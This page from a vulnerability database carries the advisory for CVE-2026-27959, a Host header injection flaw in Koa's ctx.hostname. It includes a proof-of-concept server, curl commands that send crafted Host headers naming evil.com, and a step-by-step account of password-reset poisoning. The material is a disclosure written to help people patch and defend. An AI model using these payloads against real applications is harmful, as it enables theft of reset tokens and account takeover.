Vulnerability-Lookup

GHSA-7GCC-R8M5-44QM

Vulnerability from github – Published: 2026-02-26 22:42 – Updated: 2026-02-26 22:42

Summary

Koa has Host Header Injection via ctx.hostname

Details

Summary

Koa's ctx.hostname API performs naive parsing of the HTTP Host header, extracting everything before the first colon without validating the input conforms to RFC 3986 hostname syntax. When a malformed Host header containing a @ symbol (e.g., evil.com:fake@legitimate.com) is received, ctx.hostname returns evil.com - an attacker-controlled value. Applications using ctx.hostname for URL generation, password reset links, email verification URLs, or routing decisions are vulnerable to Host header injection attacks.

Details

The vulnerability exists in Koa's hostname getter in lib/request.js:

// Koa 2.16.1 - lib/request.js
get hostname() {
  const host = this.host;
  if (!host) return '';
  if ('[' === host[0]) return this.URL.hostname || ''; // IPv6 literal
  return host.split(':', 1)[0];
}

The host getter retrieves the raw header value with HTTP/2 and proxy support:

// Koa 2.16.1 - lib/request.js
get host() {
  const proxy = this.app.proxy;
  let host = proxy && this.get('X-Forwarded-Host');
  if (!host) {
    if (this.req.httpVersionMajor >= 2) host = this.get(':authority');
    if (!host) host = this.get('Host');
  }
  if (!host) return '';
  return host.split(',')[0].trim();
}

The Problem

The parsing logic simply splits on the first : and returns the first segment. There is no validation that the resulting string is a valid hostname per RFC 3986 Section 3.2.2.

RFC 3986 Section 3.2.2 defines the host component as:

host = IP-literal / IPv4address / reg-name
reg-name = *( unreserved / pct-encoded / sub-delims )
unreserved = ALPHA / DIGIT / "-" / "." / "_" / "~"
sub-delims = "!" / "$" / "&" / "'" / "(" / ")" / "*" / "+" / "," / ";" / "="

The @ character is explicitly NOT permitted in the host component - it is the delimiter separating userinfo from host in the authority component.

Attack Vector

When an attacker sends:

Host: evil.com:fake@legitimate.com:3000

Koa parses this as:

API	Returns	Notes
`ctx.get('Host')`	`"evil.com:fake@legitimate.com:3000"`	Raw header
`ctx.hostname`	`"evil.com"`	Attacker-controlled
`ctx.host`	`"evil.com:fake@legitimate.com:3000"`	Raw header value
`ctx.origin`	`"http://evil.com:fake@legitimate.com:3000"`	Protocol + malformed host

The ctx.hostname API returns evil.com because the parser splits on the first : without understanding that evil.com:fake@legitimate.com is a malformed authority component where evil.com:fake would be interpreted as userinfo by a proper URI parser.

Additional Concern: `ctx.origin`

Koa's ctx.origin property concatenates protocol and host without validation:

// lib/request.js
get origin() {
  return `${this.protocol}://${this.host}`;
}

Applications using ctx.origin for URL generation receive the full malformed Host header value, creating URLs with embedded credentials that browsers may interpret as userinfo.

HTTP/2 Consideration

Koa explicitly checks httpVersionMajor >= 2 to read the :authority pseudo-header:

if (this.req.httpVersionMajor >= 2) host = this.get(':authority');

The same vulnerability applies - malformed :authority values containing userinfo would be accepted and parsed identically.

PoC

Setup

// server.js
const Koa = require('koa'); 
const app = new Koa();

// Simulates password reset URL generation (common vulnerable pattern)
app.use(async ctx => {
  if (ctx.path === '/forgot-password') {
    const resetToken = 'abc123securtoken';
    const resetUrl = `${ctx.protocol}://${ctx.hostname}/reset?token=${resetToken}`;

    ctx.body = {
      message: 'Password reset link generated',
      resetUrl: resetUrl,
      debug: {
        rawHost: ctx.get('Host'),
        parsedHostname: ctx.hostname,
        origin: ctx.origin,
        protocol: ctx.protocol
      }
    };
  }
});

app.listen(3000, () => console.log('Server on http://localhost:3000'));

Exploit

curl -H "Host: evil.com:fake@localhost:3000" http://localhost:3000/forgot-password

Result

{
  "message": "Password reset link generated",
  "resetUrl": "http://evil.com/reset?token=abc123securtoken",
  "debug": {
    "rawHost": "evil.com:fake@localhost:3000",
    "parsedHostname": "evil.com",
    "origin": "http://evil.com:fake@localhost:3000",
    "protocol": "http"
  }
}

The password reset URL points to evil.com instead of the legitimate server. In a real attack:

Attacker requests password reset for victim's email with malicious Host header
Server generates reset link using ctx.hostname → https://evil.com/reset?token=SECRET
Victim receives email with poisoned link
Victim clicks link, token is sent to attacker's server
Attacker uses token to reset victim's password

Additional Test Cases

# Basic injection
curl -H "Host: evil.com:x@legitimate.com" http://localhost:3000/forgot-password
# Result: hostname = "evil.com"

# With port preservation attempt
curl -H "Host: evil.com:443@legitimate.com:3000" http://localhost:3000/forgot-password  
# Result: hostname = "evil.com"

# Unicode/encoded variations
curl -H "Host: evil.com:x%40legitimate.com" http://localhost:3000/forgot-password
# Result: hostname = "evil.com"

Deployment Consideration

For this attack to succeed in production, the malicious Host header must reach the Koa application. This occurs when:

No reverse proxy - Application directly exposed to internet
Misconfigured proxy - Proxy doesn't override/validate Host header
Proxy trust enabled (app.proxy = true) - X-Forwarded-Host can be injected
Default virtual host - Server is the catch-all for unrecognized Host headers

Impact

Vulnerability Type

CWE-20: Improper Input Validation
CWE-644: Improper Neutralization of HTTP Headers for Scripting Syntax

Attack Scenarios

1. Password Reset Poisoning (High Severity) - Attacker hijacks password reset tokens by poisoning reset URLs - Requires victim to click link in email - Results in account takeover

2. Email Verification Bypass - Attacker poisons email verification links - Can verify attacker-controlled email on victim accounts

3. OAuth/SSO Callback Manipulation - Applications using ctx.hostname for OAuth redirect URIs - Attacker redirects OAuth callbacks to malicious server - Results in token theft

4. Web Cache Poisoning - If responses are cached without Host in cache key - Poisoned URLs served to all users - Persistent XSS/phishing via cached responses

5. Server-Side Request Forgery (SSRF) - Internal routing decisions based on ctx.hostname - Attacker manipulates which backend receives requests

Who Is Impacted

Direct impact: Any Koa application using ctx.hostname or ctx.origin for URL generation without additional validation
Common patterns: Password reset, email verification, webhook URL generation, multi-tenant routing, OAuth implementations

Severity ?

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "koa"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "koa"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.16.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27959"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-74"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-26T22:42:57Z",
    "nvd_published_at": "2026-02-26T02:16:23Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nKoa\u0027s `ctx.hostname` API performs naive parsing of the HTTP Host header, extracting everything before the first colon without validating the input conforms to RFC 3986 hostname syntax. When a malformed Host header containing a `@` symbol (e.g., `evil.com:fake@legitimate.com`) is received, `ctx.hostname` returns `evil.com` - an attacker-controlled value. Applications using `ctx.hostname` for URL generation, password reset links, email verification URLs, or routing decisions are vulnerable to Host header injection attacks.\n\n## Details\n\nThe vulnerability exists in Koa\u0027s hostname getter in `lib/request.js`:\n\n```javascript\n// Koa 2.16.1 - lib/request.js\nget hostname() {\n  const host = this.host;\n  if (!host) return \u0027\u0027;\n  if (\u0027[\u0027 === host[0]) return this.URL.hostname || \u0027\u0027; // IPv6 literal\n  return host.split(\u0027:\u0027, 1)[0];\n}\n```\n\nThe `host` getter retrieves the raw header value with HTTP/2 and proxy support:\n\n```javascript\n// Koa 2.16.1 - lib/request.js\nget host() {\n  const proxy = this.app.proxy;\n  let host = proxy \u0026\u0026 this.get(\u0027X-Forwarded-Host\u0027);\n  if (!host) {\n    if (this.req.httpVersionMajor \u003e= 2) host = this.get(\u0027:authority\u0027);\n    if (!host) host = this.get(\u0027Host\u0027);\n  }\n  if (!host) return \u0027\u0027;\n  return host.split(\u0027,\u0027)[0].trim();\n}\n```\n\n### The Problem\n\nThe parsing logic simply splits on the first `:` and returns the first segment. There is no validation that the resulting string is a valid hostname per RFC 3986 Section 3.2.2.\n\n**RFC 3986 Section 3.2.2** defines the host component as:\n\n```\nhost = IP-literal / IPv4address / reg-name\nreg-name = *( unreserved / pct-encoded / sub-delims )\nunreserved = ALPHA / DIGIT / \"-\" / \".\" / \"_\" / \"~\"\nsub-delims = \"!\" / \"$\" / \"\u0026\" / \"\u0027\" / \"(\" / \")\" / \"*\" / \"+\" / \",\" / \";\" / \"=\"\n```\n\nThe `@` character is explicitly NOT permitted in the host component - it is the delimiter separating userinfo from host in the authority component.\n\n### Attack Vector\n\nWhen an attacker sends:\n\n```\nHost: evil.com:fake@legitimate.com:3000\n```\n\nKoa parses this as:\n\n| API | Returns | Notes |\n|-----|---------|-------|\n| `ctx.get(\u0027Host\u0027)` | `\"evil.com:fake@legitimate.com:3000\"` | Raw header |\n| `ctx.hostname` | `\"evil.com\"` | **Attacker-controlled** |\n| `ctx.host` | `\"evil.com:fake@legitimate.com:3000\"` | Raw header value |\n| `ctx.origin` | `\"http://evil.com:fake@legitimate.com:3000\"` | Protocol + malformed host |\n\nThe `ctx.hostname` API returns `evil.com` because the parser splits on the first `:` without understanding that `evil.com:fake@legitimate.com` is a malformed authority component where `evil.com:fake` would be interpreted as userinfo by a proper URI parser.\n\n### Additional Concern: `ctx.origin`\n\nKoa\u0027s `ctx.origin` property concatenates protocol and host without validation:\n\n```javascript\n// lib/request.js\nget origin() {\n  return `${this.protocol}://${this.host}`;\n}\n```\n\nApplications using `ctx.origin` for URL generation receive the full malformed Host header value, creating URLs with embedded credentials that browsers may interpret as userinfo.\n\n### HTTP/2 Consideration\n\nKoa explicitly checks `httpVersionMajor \u003e= 2` to read the `:authority` pseudo-header:\n\n```javascript\nif (this.req.httpVersionMajor \u003e= 2) host = this.get(\u0027:authority\u0027);\n```\n\nThe same vulnerability applies - malformed `:authority` values containing userinfo would be accepted and parsed identically.\n\n## PoC\n\n### Setup\n\n```javascript\n// server.js\nconst Koa = require(\u0027koa\u0027); \nconst app = new Koa();\n\n// Simulates password reset URL generation (common vulnerable pattern)\napp.use(async ctx =\u003e {\n  if (ctx.path === \u0027/forgot-password\u0027) {\n    const resetToken = \u0027abc123securtoken\u0027;\n    const resetUrl = `${ctx.protocol}://${ctx.hostname}/reset?token=${resetToken}`;\n    \n    ctx.body = {\n      message: \u0027Password reset link generated\u0027,\n      resetUrl: resetUrl,\n      debug: {\n        rawHost: ctx.get(\u0027Host\u0027),\n        parsedHostname: ctx.hostname,\n        origin: ctx.origin,\n        protocol: ctx.protocol\n      }\n    };\n  }\n});\n\napp.listen(3000, () =\u003e console.log(\u0027Server on http://localhost:3000\u0027));\n```\n\n### Exploit\n\n```bash\ncurl -H \"Host: evil.com:fake@localhost:3000\" http://localhost:3000/forgot-password\n```\n\n### Result\n\n```json\n{\n  \"message\": \"Password reset link generated\",\n  \"resetUrl\": \"http://evil.com/reset?token=abc123securtoken\",\n  \"debug\": {\n    \"rawHost\": \"evil.com:fake@localhost:3000\",\n    \"parsedHostname\": \"evil.com\",\n    \"origin\": \"http://evil.com:fake@localhost:3000\",\n    \"protocol\": \"http\"\n  }\n}\n```\n\nThe password reset URL points to `evil.com` instead of the legitimate server. In a real attack:\n\n1. Attacker requests password reset for victim\u0027s email with malicious Host header\n2. Server generates reset link using `ctx.hostname` \u2192 `https://evil.com/reset?token=SECRET`\n3. Victim receives email with poisoned link\n4. Victim clicks link, token is sent to attacker\u0027s server\n5. Attacker uses token to reset victim\u0027s password\n\n### Additional Test Cases\n\n```bash\n# Basic injection\ncurl -H \"Host: evil.com:x@legitimate.com\" http://localhost:3000/forgot-password\n# Result: hostname = \"evil.com\"\n\n# With port preservation attempt\ncurl -H \"Host: evil.com:443@legitimate.com:3000\" http://localhost:3000/forgot-password  \n# Result: hostname = \"evil.com\"\n\n# Unicode/encoded variations\ncurl -H \"Host: evil.com:x%40legitimate.com\" http://localhost:3000/forgot-password\n# Result: hostname = \"evil.com\"\n```\n\n### Deployment Consideration\n\nFor this attack to succeed in production, the malicious Host header must reach the Koa application. This occurs when:\n\n1. **No reverse proxy** - Application directly exposed to internet\n2. **Misconfigured proxy** - Proxy doesn\u0027t override/validate Host header\n3. **Proxy trust enabled** (`app.proxy = true`) - `X-Forwarded-Host` can be injected\n4. **Default virtual host** - Server is the catch-all for unrecognized Host headers\n\n## Impact\n\n### Vulnerability Type\n\n- CWE-20: Improper Input Validation\n- CWE-644: Improper Neutralization of HTTP Headers for Scripting Syntax\n\n### Attack Scenarios\n\n**1. Password Reset Poisoning (High Severity)**\n- Attacker hijacks password reset tokens by poisoning reset URLs\n- Requires victim to click link in email\n- Results in account takeover\n\n**2. Email Verification Bypass**\n- Attacker poisons email verification links\n- Can verify attacker-controlled email on victim accounts\n\n**3. OAuth/SSO Callback Manipulation**\n- Applications using `ctx.hostname` for OAuth redirect URIs\n- Attacker redirects OAuth callbacks to malicious server\n- Results in token theft\n\n**4. Web Cache Poisoning**\n- If responses are cached without Host in cache key\n- Poisoned URLs served to all users\n- Persistent XSS/phishing via cached responses\n\n**5. Server-Side Request Forgery (SSRF)**\n- Internal routing decisions based on `ctx.hostname`\n- Attacker manipulates which backend receives requests\n\n### Who Is Impacted\n\n- **Direct impact**: Any Koa application using `ctx.hostname` or `ctx.origin` for URL generation without additional validation\n- **Common patterns**: Password reset, email verification, webhook URL generation, multi-tenant routing, OAuth implementations",
  "id": "GHSA-7gcc-r8m5-44qm",
  "modified": "2026-02-26T22:42:57Z",
  "published": "2026-02-26T22:42:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/koajs/koa/security/advisories/GHSA-7gcc-r8m5-44qm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27959"
    },
    {
      "type": "WEB",
      "url": "https://github.com/koajs/koa/commit/55ab9bab044ead4e82c70a30a4f9dc0fc9c1b6df"
    },
    {
      "type": "WEB",
      "url": "https://github.com/koajs/koa/commit/b76ddc01fdb703e51652b0fd131d16394cadcfeb"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/koajs/koa"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Koa has Host Header Injection via ctx.hostname"
}

CVE-2026-27959 (GCVE-0-2026-27959)

Vulnerability from cvelistv5 – Published: 2026-02-26 01:45 – Updated: 2026-02-26 19:32

Title

Koa has Host Header Injection via `ctx.hostname`

Summary

Koa is middleware for Node.js using ES2017 async functions. Prior to versions 3.1.2 and 2.16.4, Koa's `ctx.hostname` API performs naive parsing of the HTTP Host header, extracting everything before the first colon without validating the input conforms to RFC 3986 hostname syntax. When a malformed Host header containing a `@` symbol is received, `ctx.hostname` returns `evil[.]com` - an attacker-controlled value. Applications using `ctx.hostname` for URL generation, password reset links, email verification URLs, or routing decisions are vulnerable to Host header injection attacks. Versions 3.1.2 and 2.16.4 fix the issue.

Severity ?

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

CWE

CWE-20 - Improper Input Validation

Assigner

GitHub_M

References

URL

Tags

	https://github.com/koajs/koa/security/advisories/…	x_refsource_CONFIRM
	https://github.com/koajs/koa/commit/55ab9bab044ea…	x_refsource_MISC
	https://github.com/koajs/koa/commit/b76ddc01fdb70…	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	koajs	koa	Affected: >= 3.0.0, < 3.1.2 Affected: < 2.16.4

Show details on NVD website

JSON

To clipboard

{
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          {
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                "id": "CVE-2026-27959",
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                  },
                  {
                    "Technical Impact": "partial"
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                "role": "CISA Coordinator",
                "timestamp": "2026-02-26T19:31:17.215940Z",
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      "affected": [
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          "product": "koa",
          "vendor": "koajs",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 3.0.0, \u003c 3.1.2"
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        }
      ],
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}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-7GCC-R8M5-44QM

Summary

Details

The Problem

Attack Vector

Additional Concern: ctx.origin

HTTP/2 Consideration

PoC

Setup

Exploit

Result

Additional Test Cases

Deployment Consideration

Impact

Vulnerability Type

Attack Scenarios

Who Is Impacted

CVE-2026-27959 (GCVE-0-2026-27959)

Tags

Sightings

Nomenclature

Additional Concern: `ctx.origin`